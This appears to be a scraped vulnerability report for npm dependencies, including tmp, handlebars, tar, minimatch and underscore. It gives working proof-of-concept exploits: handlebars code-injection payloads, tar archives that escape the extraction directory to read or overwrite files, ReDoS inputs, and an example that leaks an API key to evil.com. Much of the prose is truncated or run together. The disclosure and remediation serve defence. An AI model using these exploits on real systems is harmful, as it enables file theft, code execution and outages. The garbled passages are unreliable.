- Potential to overwrite existing files (depending on creation flags)
- Cross-platform exploitation capability
Attack Scenarios:
1. Web Application Configuration Poisoning:
- User uploads file with malicious prefix/postfix
- tmp creates "temporary" file in application configuration directory
- Malicious configuration loaded on next application restart
2. Cache Poisoning:
- Application caches user content using tmp
- Attacker escapes to cache directory of different user/tenant
- Poisoned cache serves malicious content to other users
3. Build Pipeline Compromise:
- CI/CD system processes user PRs with tmp usage
- Malicious prefix escapes to build output directories
- Compromised build artifacts deployed to production
4. Container Escape Attempt:
- Containerized application uses tmp with user input
- Attacker attempts to escape container temp restrictions
- Files created in host-mapped volumes or sensitive container areas
5. Multi-Tenant Service Bypass:
- SaaS platform isolates tenants using separate tmp directories
- Tenant A escapes their tmp space to tenant B's area
- Cross-tenant data access and potential privilege escalation
Business Impact:
- Data Integrity: Unauthorized file placement can corrupt application state
- Service Disruption: Files in wrong locations may break application functionality
- Security Bypass: Escape temporary isolation boundaries
- Compliance Violations: Files containing sensitive data placed in uncontrolled locations
Affected Products
- Ecosystem: npm
- Package name: tmp
- Repository: github.com/raszi/node-tmp
- Affected versions: All versions with vulnerable path construction logic
- Patched versions: None currently available
Component Impact:
tmp.file()function - vulnerable to prefix/postfix/dir traversaltmp.dir()function - vulnerable to same parameter manipulationtmp.tmpName()function - if using affected path construction
Severity: High
CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)
CWE Classification:
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Remediation
Input Validation and Sanitization:
- Sanitize prefix/postfix:
function sanitizePrefix(prefix) {
if (!prefix) return '';
// Remove path separators and traversal sequences
return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}
function sanitizePostfix(postfix) {
if (!postfix) return '';
// Allow only safe characters
return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}- Validate dir parameter:
function validateDir(dir, baseDir) {
if (!dir) return '';
// Reject absolute paths
if (path.isAbsolute(dir)) {
throw new Error('Absolute paths not allowed for dir option');
}
// Resolve and check containment
const resolved = path.resolve(baseDir, dir);
const relative = path.relative(baseDir, resolved);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Dir option escapes base directory');
}
return dir;
}- Post-construction path validation:
function validateFinalPath(finalPath, baseDir) {
const resolved = path.resolve(finalPath);
const relative = path.relative(path.resolve(baseDir), resolved);
if (relative.startsWith('..') || path.isAbsolute(relative)) {
throw new Error('Generated path escapes temporary directory');
}
return resolved;
}Secure Implementation Pattern:
function createTempFile(options) {
const opts = { ...options };
// Sanitize inputs
opts.prefix = sanitizePrefix(opts.prefix);
opts.postfix = sanitizePostfix(opts.postfix);
opts.dir = validateDir(opts.dir, opts.tmpdir);
// Create with sanitized options
return tmp.file(opts, (err, path, fd, cleanup) => {
if (err) return callback(err);
// Validate final path
try {
validateFinalPath(path, opts.tmpdir);
} catch (validationErr) {
cleanup();
return callback(validationErr);
}
callback(null, path, fd, cleanup);
});
}Workarounds
For Application Developers:
- Input Sanitization:
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
const safeOpts = {
...userOptions,
prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
dir: undefined // Don't allow user-controlled dir
};
return tmp.file(safeOpts);
}- Path Validation:
function validateTmpPath(tmpPath, expectedBase) {
const relativePath = path.relative(expectedBase, tmpPath);
if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
throw new Error('Temporary file path escaped base directory');
}
return tmpPath;
}- Restricted Usage:
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);For Security Teams:
- Code Review Patterns:
# Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .- Runtime Monitoring:
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
return originalFile(options, (err, path, fd, cleanup) => {
if (!err && options.tmpdir) {
const relative = require('path').relative(options.tmpdir, path);
if (relative.startsWith('..')) {
console.warn('Path traversal detected:', path);
}
}
return callback(err, path, fd, cleanup);
});
};Detection and Monitoring
Static Analysis:
- Scan for tmp usage with user-controlled input
- Identify unsanitized parameter passing to tmp functions
- Review file creation patterns in temporary directories
Runtime Detection:
// Log suspicious tmp operations
function monitorTmpUsage() {
const originalTmpFile = require('tmp').file;
require('tmp').file = function(options = {}, callback) {
// Check for suspicious patterns
const suspicious = [
options.prefix && options.prefix.includes('..'),
options.postfix && options.postfix.includes('..'),
options.dir && path.isAbsolute(options.dir)
].some(Boolean);
if (suspicious) {
console.warn('Suspicious tmp usage detected:', options);
}
return originalTmpFile.call(this, options, callback);
};
}File System Monitoring:
# Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
echo "Unexpected file creation: $file"
fi
doneAcknowledgements
Reported by: Mapta / BugBunny_ai
[ CVE-2026-40895 ] follow-redirects 1.5.9
Vulnerability Details
| CVSS V3: | 7.5 |
| Dependency Path: | follow-redirects: 1.5.9 (Transitive)Fix Version: 1.16.0 |
Summary
When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.
Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.
Affected Code
index.js, lines 469-476:
if (redirectUrl.protocol !== currentUrlParts.protocol &&
redirectUrl.protocol !== "https:" ||
redirectUrl.host !== currentHost &&
!isSubdomain(redirectUrl.host, currentHost)) {
removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.
Attack Scenario
- App uses axios with custom auth header:
headers: { 'X-API-Key': 'sk-live-secret123' } - Server returns
302 Location: https://evil.com/steal - follow-redirects sends
X-API-Key: sk-live-secret123toevil.com - Attacker captures the API key
Impact
Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.
Suggested Fix
Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.
Disclosure
Source code review, manually verified. Found 2026-03-20.
[ CVE-2026-33941 ] handlebars 4.0.12
Vulnerability Details
| CVSS V3: | 8.2 |
| Dependency Path: | handlebars: 4.0.12 (Transitive)Fix Version: 4.7.9 |
Summary
The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.
Description
lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:
1. Template name injection
// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.
2. Namespace injection (-n / --namespace)
// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.
3. CommonJS path injection (-c / --commonjs)
// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.
4. AMD path injection (-h / --handlebarPath)
// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.
All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.
Proof of Concept
Template name vector (creates a file pwned on disk):
mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"
node bin/handlebars templates -o out.js
node -e 'require("./out.js")' # Executes injected code, creates ./pwnedNamespace vector:
node bin/handlebars templates -o out.js \
-n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'CommonJS vector:
node bin/handlebars templates -o out.js \
-c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'AMD vector:
node bin/handlebars templates -o out.js -a \
-h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'Workarounds
- Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (
",',;, etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
- Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
- Audit template filenames in any repository or package that is consumed by an automated build pipeline.
📦 Vulnerable Dependencies🔖 Details[ CVE-2026-33940 ] handlebars 4.0.12Vulnerability Details
SummaryA crafted object placed in the template context can bypass all conditional guards in DescriptionThe vulnerable code path spans two functions in
Minimum prerequisites:
In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution. Proof of Conceptconst Handlebars = require('handlebars');
const vulnerableTemplate = `{{> (lookup . "payload")}}`;
const maliciousContext = {
payload: {
call: true, // bypasses the primary resolvePartial branch
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Injected code breaks out of the generated function's argument list
depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCEWorkarounds
[ CVE-2026-33939 ] handlebars 4.0.12Vulnerability Details
SummaryWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. DescriptionIn fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn;When Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process. This inconsistency is notable: references to unregistered helpers produce a clean Attack scenario: An attacker submits Proof of Conceptconst Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x
// Any of these payloads crash the process
Handlebars.compile('{{*n}}')({});
Handlebars.compile('{{*decorator}}')({});
Handlebars.compile('{{*constructor}}')({});Expected crash output: Workarounds
[ CVE-2026-33938 ] handlebars 4.0.12Vulnerability Details
SummaryThe DescriptionHandlebars stores When The Proof of ConceptTested with Handlebars 4.7.8 and const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = `
{{#*inline "myPartial"}}
{{>@partial-block}}
{{>@partial-block}}
{{/inline}}
{{#>myPartial}}
{{merge @_parent partial-block=1}}
{{merge @_parent partial-block=payload}}
{{/myPartial}}
`;
const maliciousContext = {
payload: {
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Code injected via depth field — breaks out of generated function call
depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-blockWorkarounds
[ CVE-2026-33750 ] brace-expansion 1.1.11Vulnerability Details
ImpactA brace pattern with a zero step value (e.g., The loop in question:
The increment is computed as This affects any application that passes untrusted strings to expand(), or by error sets a step value of PatchesUpgrade to versions
A step increment of 0 is now sanitized to 1, which matches bash behavior. WorkaroundsSanitize strings passed to [ CVE-2026-33151 ] socket.io-parser 2.3.1Vulnerability Details
ImpactA specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory. Patches
WorkaroundsThere is no known workaround except upgrading to a safe version. For more informationIf you have any questions or comments about this advisory:
[ CVE-2026-31802 ] tar 4.4.1Vulnerability Details
Summary
DetailsThe extraction logic in What happens with
This is reachable in standard usage ( PoCTested on Arch Linux with PoC script ( const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})Run: node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txtObserved output:
ImpactThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios:
[ CVE-2026-29786 ] tar 4.4.1Vulnerability Details
Summary
DetailsThe extraction logic in What happens with
This is reachable in standard usage ( PoCTested on Arch Linux with PoC script ( const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})Run: cd test-workspace
node poc.cjs && ls -l ../target.txtObserved output:
ImpactThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios:
[ CVE-2026-27904 ] minimatch 3.0.4Vulnerability Details
SummaryNested DetailsThe root cause is in : this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`This produces the following regexps:
These are textbook nested-quantifier patterns. Against an input of repeated The generated regex is stored on Measured times via
Depth inflection at fixed input
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. PoCTested on minimatch@10.2.2, Node.js 20. Step 1 -- verify the generated regexps and timing (standalone script) Save as import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output: Step 2 -- HTTP server (event loop starvation proof) Save as import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server: Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: Terminal 3 -- send a benign request while the attack is in-flight: Observed output -- Terminal 2 (attack): Observed output -- Terminal 3 (benign, concurrent): Terminal 1 (server log): The server reports Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. ImpactAny context where an attacker can influence the glob pattern passed to Depth 3 (
Mitigation available: passing [ CVE-2026-27903 ] minimatch 3.0.4Vulnerability Details
Summary
DetailsThe vulnerable loop is in while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning Measured timing with n=30 path segments:
PoCTested on minimatch@10.2.2, Node.js 20. Step 1 -- inline script import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k: // k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)No special options are required. This reproduces with the default Step 2 -- HTTP server (event loop starvation proof) The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: // poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)Terminal 1 -- start the server: Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: Terminal 3 -- while the attack is in-flight, send a benign request: Observed output (Terminal 3): The server reports ImpactAny application where an attacker can influence the glob pattern passed to [ CVE-2026-27601 ] underscore 1.8.3Vulnerability Details
ImpactIn simple words, some programs that use In affected versions of Underscore, the A proof of concept (PoC) for this type of attack with const _ = require('underscore');
// build JSON string for nested object ~4500 levels deep
// (for this to be an attack, the JSON would have to come from
// a request or other untrusted input)
let json = '';
for (let i = 0; i < 4500; i++) json += '{"n":';
json += '"x"';
for (let i = 0; i < 4500; i++) json += '}';
// construct two distinct objects with equal shape from the above JSON
const a = JSON.parse(json);
const b = JSON.parse(json);
_.isEqual(a, b); // RangeError: Maximum call stack size exceededA proof of concept (PoC) for this type of attack with const _ = require('underscore');
// build nested array ~4500 levels deep
// (like with _.isEqual, this nested array would have to be sourced
// from an untrusted external source for it to be an attack)
let nested = [];
for (let i = 0; i < 4500; i++) nested = [nested];
_.flatten(nested); // RangeError: Maximum call stack size exceededAn application that crashes because of this can be restarted, so the bug is most relevant to applications for which continued operation is important, such as server applications. Furthermore, an application is only vulnerable to this type of attack if ALL of the following conditions are met:
All versions of Underscore up to and including 1.13.7 are affected by this weakness. PatchesThe problem has been patched in version 1.13.8. Upgrading to 1.13.8 or later completely prevents exploitation. Note: historically, there have been breaking changes in minor releases of Underscore, especially between versions 1.6 and 1.9. However, upgrading from version 1.9 or later to any later 1.x version should be feasible with little or no effort for all users. WorkaroundsA workaround that works for both functions is to enforce a depth limit on the datastructure that is created from untrusted input. A limit of 1000 levels should prevent attacks from being successful on most systems. In systems with highly constrained hardware, we recommend lower limits, for example 100 levels. Another possible workaround that only works for References[ CVE-2026-27601 ] underscore 1.6.0Vulnerability Details
ImpactIn simple words, some programs that use In affected versions of Underscore, the A proof of concept (PoC) for this type of attack with const _ = require('underscore');
// build JSON string for nested object ~4500 levels deep
// (for this to be an attack, the JSON would have to come from
// a request or other untrusted input)
let json = '';
for (let i = 0; i < 4500; i++) json += '{"n":';
json += '"x"';
for (let i = 0; i < 4500; i++) json += '}';
// construct two distinct objects with equal shape from the above JSON
const a = JSON.parse(json);
const b = JSON.parse(json);
_.isEqual(a, b); // RangeError: Maximum call stack size exceededA proof of concept (PoC) for this type of attack with const _ = require('underscore');
// build nested array ~4500 levels deep
// (like with _.isEqual, this nested array would have to be sourced
// from an untrusted external source for it to be an attack)
let nested = [];
for (let i = 0; i < 4500; i++) nested = [nested];
_.flatten(nested); // RangeError: Maximum call stack size exceededAn application that crashes because of this can be restarted, so the bug is most relevant to applications for which continued operation is important, such as server applications. Furthermore, an application is only vulnerable to this type of attack if ALL of the following conditions are met:
All versions of Underscore up to and including 1.13.7 are affected by this weakness. PatchesThe problem has been patched in version 1.13.8. Upgrading to 1.13.8 or later completely prevents exploitation. Note: historically, there have been breaking changes in minor releases of Underscore, especially between versions 1.6 and 1.9. However, upgrading from version 1.9 or later to any later 1.x version should be feasible with little or no effort for all users. WorkaroundsA workaround that works for both functions is to enforce a depth limit on the datastructure that is created from untrusted input. A limit of 1000 levels should prevent attacks from being successful on most systems. In systems with highly constrained hardware, we recommend lower limits, for example 100 levels. Another possible workaround that only works for References[ CVE-2026-26996 ] minimatch 3.0.4Vulnerability Details
Summary
The time complexity is O(4^N) where N is the number of DetailsGive all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. PoCWhen minimatch compiles a glob pattern, each When the test string doesn't contain ImpactAny application that passes user-controlled strings to
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch. [ CVE-2026-26960 ] tar 4.4.1Vulnerability Details
Summary
This enables arbitrary file read and write as the extracting user (no root, no chmod, no Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive. DetailsThe bypass chain uses two symlinks plus one hardlink:
Why this works:
As a result, PoChardlink.js
Steps:
TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
Interpretation:
ImpactVulnerability type:
Who is impacted:
Potential outcomes:
[ CVE-2026-24842 ] tar 4.4.1Vulnerability Details
Summarynode-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. DetailsThe vulnerability exists in Security check in const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }Hardlink creation in const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);Example: An application extracts a TAR using
The security check and hardlink creation use different starting points (entry directory PoCSetupCreate a new directory with these files: package.json { "dependencies": { "tar": "^7.5.0" } }secret.txt (sensitive file outside uploads/) server.js (vulnerable file upload server) const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));create-malicious-tar.js (attacker creates exploit TAR) const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');Run# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txtImpactAn attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables: Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process. Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory. Remote Code Execution / Server Takeover
Data Exfiltration & Corruption
[ CVE-2026-23745 ] tar 4.4.1Vulnerability Details
SummaryThe DetailsThe vulnerability exists in 1. Hardlink Escape (Arbitrary File Overwrite) The extraction logic uses The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., 2. Symlink Poisoning The extraction logic passes the user-supplied PoCThe following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})Impact
[ CVE-2026-19693 ] extract-zip 1.6.7Vulnerability Details
extract-zip through 2.0.1 containment-checks only the parent directory of each archive entry and never the entry's own final path component, so an archive containing two entries with identical names - a symlink whose target is outside the destination, followed by a regular file - writes through the planted symlink and yields an arbitrary file write outside the destination directory. [ CVE-2026-14257 ] brace-expansion 1.1.11Vulnerability Details
Summary
A ~7.5 KB input ( DetailsFor
const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
for (let k = 0; k < post.length && expansions.length < max; k++) {
const expansion = pre + N[j] + post[k] // grows one group longer per level
...
expansions.push(expansion)
}
}The loop guard Measured on
